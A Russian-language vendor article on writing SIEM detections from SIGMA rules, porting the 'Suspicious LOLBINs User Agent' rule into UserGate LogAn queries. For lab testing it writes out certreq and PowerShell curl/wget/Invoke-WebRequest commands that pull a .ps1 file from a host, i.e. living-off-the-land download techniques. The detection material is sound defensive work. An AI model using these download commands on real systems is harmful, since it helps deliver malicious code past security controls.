Пользуясь нашим сайтом, вы соглашаетесь с тем, что мы используем cookies 🍪
Настройки cookie
Обязательные cookies
Эти файлы cookie необходимы для того, чтобы вы могли пользоваться сайтом и его функциями. Их нельзя отключить. Они устанавливаются в ответ на ваши запросы, такие как настройка ваших предпочтений конфиденциальности, вход в систему или заполнение форм.
Аналитические cookies
Disabled
Эти файлы cookie собирают информацию, чтобы помочь нам понять, как используются наши веб-сайты или насколько эффективны наши маркетинговые кампании, или чтобы помочь нам настроить наши веб-сайты для вас.
Рекламные cookies
Disabled
Эти файлы cookie предоставляют рекламным компаниям информацию о вашей активности в Интернете, чтобы помочь им предоставлять вам более релевантную онлайн-рекламу или ограничивать количество показов рекламы. Эта информация может быть передана другим рекламным компаниям.
21 февраля 2022

Suspicious LOLBINs User Agent

Применение SIGMA-правила на UserGate Logan
SIGMA – это унифицированный формат описания правил детектирования событий. Существует большая накопленная сообществом экспертиза, хранящаяся в виде SIGMA-правил. В статье рассмотрим пример, который поможет вам при создании правил корреляции для Logan на основе SIGMA.

В этой статье вы узнаете о:

  • процессе обнаружения инцидентов
  • написании SIGMA правил с примерами
  • том, чем опасны LOLBINs и какой ущерб они могут нанести сети
  • соответствующих настройках UserGate LogAn v6.2.

SIGMA-правила для SIEM

SIEM (Security Information and Event Management, Система сбора, анализа и корреляции событий) – система управления информацией о безопасности и событиями информационной безопасности.

Сейчас мы кратко рассмотрим, как происходит обнаружение инцидентов ИБ:

SIEM используют определенные правила, с помощью которых определяется вредоносная активность. Эти правила отслеживают события в контролируемых системах. Например, при частом возникновении Event ID = 4625 (отказ входа в систему) считается, что происходит brute-force атака на систему. И таких правил может быть множество: правило, обнаруживающее очистку логов; правило, обнаруживающее запуск cmd.exe макросами и т.д.

В том, чтобы извлечь события ИБ – сложности нет. А вот с написанием правил есть несколько проблем, так как для этого принято использовать специальный язык запросов определенной SIEM. Тем не менее существуют определенные стандарты написания таких правил.

SIGMA– язык описания правил обнаружения инцидентов для SIEM. SIGMA-правила представляют собой YAML-документы, которые описывают сценарии выявления вредоносной активности. Данные правила состоят из блоков:

  • описание правила;
  • описание источников данных;
  • описание условий срабатывания.

Ниже представлен пример SIGMA-правила, выявляющего очистку логов Windows:
title: Security Eventlog Cleared				# описание правила
id: f2f01843-e7b8-4f95-a35a-d23584476423			# идентификатор правила
description: Some threat groups tend to delete the local 'Security' Eventlog using certain utitlities							# описание детекта
tags:								# тег правила
- attack.defense_evasion					# тактика MITRE ATT&CK
- attack.t1070							# техника MITRE ATT&CK
- car.2016-04-002						# аналитика
author: Florian Roth
date: 2017/02/19
logsource:							# источник обнаружения
product: windows						# продукт
service: security						# сервис получения событий
detection:							# процесс обнаружения
selection:
EventID:
- 517
- 1102
condition: selection
falsepositives:
- Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)
- System provisioning (system reset before the golden image creation)
level: high
Преимуществом SIGMA является общедоступность проекта. Это значит, что любой пользователь может скачать базу правил и использовать ее для своих систем

Правила обнаружения тактики LOLBINs

А что насчет более сложных атак?

LOLBINs или Living off the Land – это тактика использования легитимных программ для обхода средств защиты. Примерами таких программ могут выступать PowerShell, bash, psexec, certutil и другие.

Примеры атак с использованием LOLBINs:
  • Загрузка и выполнение вредоносного кода;
  • Обход UAC.

LOLBINs опасны тем, что для выполнения вредоносной активности используются разрешенные программы.


Процесс обнаружения таких атак основан на анализе событий и их корреляции. О том, как обнаружить факт использования LOLBINs с помощью UserGate Log Analyzer v6.2, расскажем ниже.

Рассмотрим случай написания правила аналитики в продукте UserGate Logan для обнаружения использования нестандартных методов скачивания вредоносного ПО на компьютеры жертвы. За основу возьмем SIGMA-правило, созданное сообществом на основе публичных материалов:
title: Suspicious LOLBINs User Agent			# описание правила
id: 04427190-98d6-4bba-a0fb-5db3b73ec245		# уникальный идентификатор
description: Detect suspicious usage of LOLBIN tools	# описание детекта
date: 2021/04/05					# дата создания правила
modified: 2021/04/05					# дата последнего изменения
references:						# список источников
  - https://lolbas-project.github.io/lolbas/Binaries/Certreq/
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil//
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  - https://lolbas-project.github.io/lolbas/Binaries/Msiexec
tags:							# тег правила
  - attack.comand_and_control				# тактика MITRE ATT&CK
  - attack.t1105					# техника MITRE ATT&CK
logsource:						# источник журнала
  category: webserver					# категория журнала
detection:						# процесс обнаружения
  certreq_ua:						# скачивание ПО с помощью certreq
    c-useragent|startswith:
      - 'Mozilla/4.0 (compatible; Win32; NDES client')
  powershell_iwr_ua:					# скачивание ПО с помощью PowerShell
    c-useragent|contains|all:
      - 'Mozilla/'
      - 'WindowsPowerShell/'
  powershell_iwr_whitelists:
    - c-uri:
      - '/adfs/probe'
    - curl|endswith:
      - '.crl'
  certutil_ua:						# скачивание ПО с помощью certutil
    c-useragent|startswith:
      - 'Microsoft-CryptoAPI/'
  certutil_whitelist:
    - cs-host|startswith:
        - 'ocsp.'
    - cs-host:
      - 'ctldl.windowsupdate.com'
    - cs(Content-Type):
      - 'application/pkix-cert'
      - 'application/pkix-crl'
      - 'application/pkcs7-mime'
      - 'application/ocsp-response'
      - 'application/timestamp-reply'
    - c-uri|endswith:
      - '.crl'
      - '.crt'
      - '.p7c'
  regsvr32_ua:						# скачивание ПО с помощью regsvr32
    c-useragent|startswith:
      - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E'
  regsvr32_whitelist:
    c-useragent|contains:
     - 'MSOffice'
  msiexec_ua:						# скачивание ПО с помощью msiexec
    c-useragent:
      - "Windows Installer"
  condition: certreq_ua or (powershell_iwr_ua and not powershell_iwr_whitelists) or (certutil_ua and not certutil_whitelist) or (regsvr32_ua and not regsvr32_whitelist) or msiexec_ua
fields:							# оценка события
  - c-uri
  - client_ip
  - fields
falsepositives:
  - certutil.exe can upload other types of crypto files, in that case, the need to be added to the whitelist.
  - Powershell iwr commandlet can later be used for other internal windows tasks.
level: medium
Подробности по настройке UserGate Logan изложены в документации к продукту: «https://static.usergate.com/manuals/logan/6.2.0/ru». Мы рассмотрим частный случай написания правила аналитики.

В SIGMA-правиле в качестве источника используется лог веб-сервера. В Logan будем использовать раздел «Analytics search», где в качестве источника выбираем «webaccess log»:
Опишем первое условие поиска «certreq_ua»:

(userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client').

Для тестирования воспользуемся описанным в примере «https://lolbas-project.github.io/lolbas/Binaries/Certreq» способом. На стенде выполним следующую команду:

certreq -Post -config http://192.168.44.57/file.ps1 c:\windows\win.ini file.ps1.

Через интерфейс Logan, выполним поиск с помощью нашего условия:
Найдено 2 записи.
Далее опишем правило поиска UserAgent (powershell_iwr_ua), который используется Powershell по умолчанию, при этом необходимо исключить легитимные запросы (powershell_iwr_whitelists):

(userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')

В соответствии с полем «condition», объединим эти 2 условия:

(userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client') OR ((userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')).


Для надежности рекомендуется тестировать каждое правило в отдельности, а потом объединять их, усложняя запрос. Для тестирования 2-го правила на стенде выполним команды, которые используют один механизм Powershell:

Powershell.exe –c curl http://192.168.44.57/file.ps1 -Outfile file4.ps1
Powershell.exe –c wget http://192.168.44.57/file.ps1 -Outfile file5.ps1
Powershell.exe -Command Invoke-WebRequest -Uri http://192.168.44.57/file.ps1 -Outfile file6.ps1.


Выполним запрос с нашим фильтром и получим следующий результат:
Для просмотра записей переключимся на текстовый режим просмотра:
В результате мы нашли запросы, сделанные с помощью утилиты certreq и powershell, с учетом исключения легитимных запросов.

Далее по аналогии описываем следующие поля Sigma-правила. В результате получим следующий запрос в Logan:
source = 'webaccess log' and (userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client') OR ((userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')) OR ((userAgent MATCH '^Microsoft-CryptoAPI/') and (url NOT MATCH '^http?://ocsp\.' and url !~ 'ctldl.windowsupdate.com' and url !~ "www.download.windowsupdate.com" and mime != 'application/pkix-cert' and mime != 'application/pkix-crl' and mime != 'application/pkcs7-mime' and mime != 'application/ocsp-response' and mime != 'application/timestamp-reply' and url NOT MATCH '\.crl$' and url NOT MATCH '\.crt$' and url NOT MATCH '\.p7c$')) OR ((userAgent ~ 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E') AND (userAgent !~ 'Office' and url !~ 'oneclient.sfx.ms' and url !~ 'live.com')) OR (userAgent = 'Windows Installer').
В результате получим все подозрительные запросы, которые попадают под Sigma-правило:
Теперь можно создать правило аналитики для детектирования.

Необходимо создать правило:
Создать условие, в котором задать фильтр:
Работу правила можно проверить в «ретроспективном режиме» на уже имеющихся событиях:
После активации правило начнет работать в режиме реального времени, а результат его работы можно будет увидеть во вкладке «Triggered alerts»:
При клике на «Triggered alert ID» попадаем в детали события, где можно просмотреть подробности:
Таким образом, мы реализовали Sigma-правило, созданное для детектирования определенной подозрительной активности.

Вывод

Проект SIGMA помогает аналитикам SOC обмениваться знаниями и помогать сообществу по ИБ бороться с возникающими угрозами. Хотя, сами правила являются несложными по синтаксису, они служат верным инструментом по выявлению инцидентов в SIEM-системах.

Авторы статьи: Максим Подобаев, Никита Бекетов, Центр мониторинга и реагирования UserGate и Дмитрий Лебедев, инженер TS Solution

Остались вопросы?